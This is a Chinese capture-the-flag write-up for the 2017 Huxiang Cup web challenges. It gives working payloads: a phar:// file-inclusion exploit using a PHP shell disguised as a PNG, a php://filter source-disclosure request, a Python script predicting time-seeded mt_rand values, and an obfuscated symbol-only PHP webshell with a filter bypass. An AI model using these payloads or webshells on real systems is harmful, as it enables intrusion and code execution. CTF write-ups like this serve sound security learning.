湖湘杯复赛WEB-WriteUp

湖湘杯复赛writeup加WEB源码,WEB400没做出来。RE、PWN、MISC都是队友做的,存在word里面,最后有下载。

WEB200

题目提示:

只是一个普通的上传

打开页面以后得到两点提示:

  • 1.只能上传png
  • 2.htmlentities(ucfirst($op)); op变量做过简单的处理。

打开upload页面发现http://118.190.87.135:10080/?op=upload ==> op=upload应该是文件包含。

扫描一下目录:upload.php、home.php、flag.php、show.php加上两个目录image和uploads

包含一下flag.php看看,应该不会这么简单:

不行,按照正常路子走,上传一个png:

页面返回URL: op=show&imagekey=cf32f1071d5f2a4b89c72df04a1b5de02dce2bf1

到这里就更加印证了是一个文件包含漏洞了,这个imagekey应该就是上传后的文件名,上传的文件应该是在uploads文件下:

果然,接下来要包含它。

重新思考了一下,包含upload.php的时候,是op=upload 那么其代码应该是op=$_GET[op].’.php’;在文件中加上php的,这时候我想到phar://协议。

将x.php(一句话shell)压缩成zip格式,然后再改成png格式上传到服务器,用包含结合phar协议来执行php文件:

payload:

1
op=phar://./uploads/e3b413b087bd7f56d3a67d3f970a88c489b60e66.png/x

Ok,可以执行,接下来就是读取flag.php中的内容了。

Payload:

1
x=highlight_file('././flag.php');

其实后来比赛完以后和别人交流,他们直接用包含就拿到了flag,没上传文件,用了filter协议,当时没想到。

Payload:

1
payload:?op=php://filter/read=convert.base64-encode/resource=flag

Web150 random

这道题是相当的坑,11点出了以后到4点左右才正常。

像这样的题,进去没什么提示,首先想到的源代码泄露,然后审计代码绕过一些的。访问.index.php.swp存在,这个是vi编辑器留下的,但是在11点-4点之间这段时间,这个里面根本没有源码,和index一样是乱码。

源码看到以后,就发现是mt_rand()伪加密,mt_srand()以time()为种子进行播种,mt_rand()生成的内容是依赖于time()的。

思路:用python直接访问页面拿到pwd的值,在time()生成的时间戳变化之前提交上去,就可以绕过第一层if($pwd == $_GET[pwd]),但是这乱码是什么东东?

把源码放在本地,然后去生成、输出pwd 和 session。

发现还是乱码,那可能pwd就是乱码,ok。写个脚本,让脚本先访问题目地址,处理题目地址返回页面,取出pwd的值,再访问本地页面对比pwd的值,如果相同,则把本地页面生成的pwd、session的值分别作为pwd参数和action参数的值提交上去。还有一点就是$_SESSION[‘userLogin’]=create_password(32).rand(); 这里还有个rand()这个rand在页面中没给他播种,这里rand()还是随机的。这里我的处理是用while循环一直跑,总会有本地rand()和环境rand()的种子一样的时候,这时候就可以过第二层循环了。

额,一次就成功了。这么神。再测试:

赛后分析原因,在第一次请求页面的时候,$_SESSION[‘userLogin’]还没被赋值,不需要提交login就可以绕过这个循环,但是我是提交了这个值的,那一次成功可能真的是我运气好吧。

附上python脚本和php本地页面代码

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests,re
#re_pass = re.compile(r'<br>.+||')
url = "http://114.215.138.89:10080/"
while True:
res = requests.get(url)
s = res.content[29:-8]
print s
resloaction = requests.get("http://127.0.0.1/test.php")
list = resloaction.content.split(' ')
params={}
if list[0]==s :
params['login']=list[1]

params['pwd']=s
#params['login']=s
resp = requests.get(url,params=params)
if 'flag' in resp.content :
print resp.content
break;
elif 'Wrong' in resp.content :
print 'Wrong'
elif 'first' in resp.content :
print 'first'
else :pass

PHP:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
mt_srand(time());
$pwd=create_password();
echo $pwd.' ';
//echo "<br>";
echo create_password(32).rand();

Web300

访问看到源码,过滤了很多字符,但是()[]=’+.;这些字符没过滤,题目又提示能getshell。这让我想起了以前在网上看到过的一个符号一句话木马。

找了很久终于找到了符号一句话

1
2
3
4
5
<?php
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;
$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
?>

但是提交却被拦截。

又看了一遍字符过滤的数组里面的确没有这些字符啊。后来测试是+被拦截了,可是里面确实没过滤+啊。

在本地写一个php来一探究竟

1
2
3
<?php
$a = $_GET[x];
echo $a;

看下+传入以后输出会怎么样?

空白?

原来,+在url中表示空格,而题目拦截空格。所以要把+ 进行一次URL编码,传入后会自动进行解码:

将符号一句话中的+全部用%2b替换

题目源码及其他wp

湖湘杯2017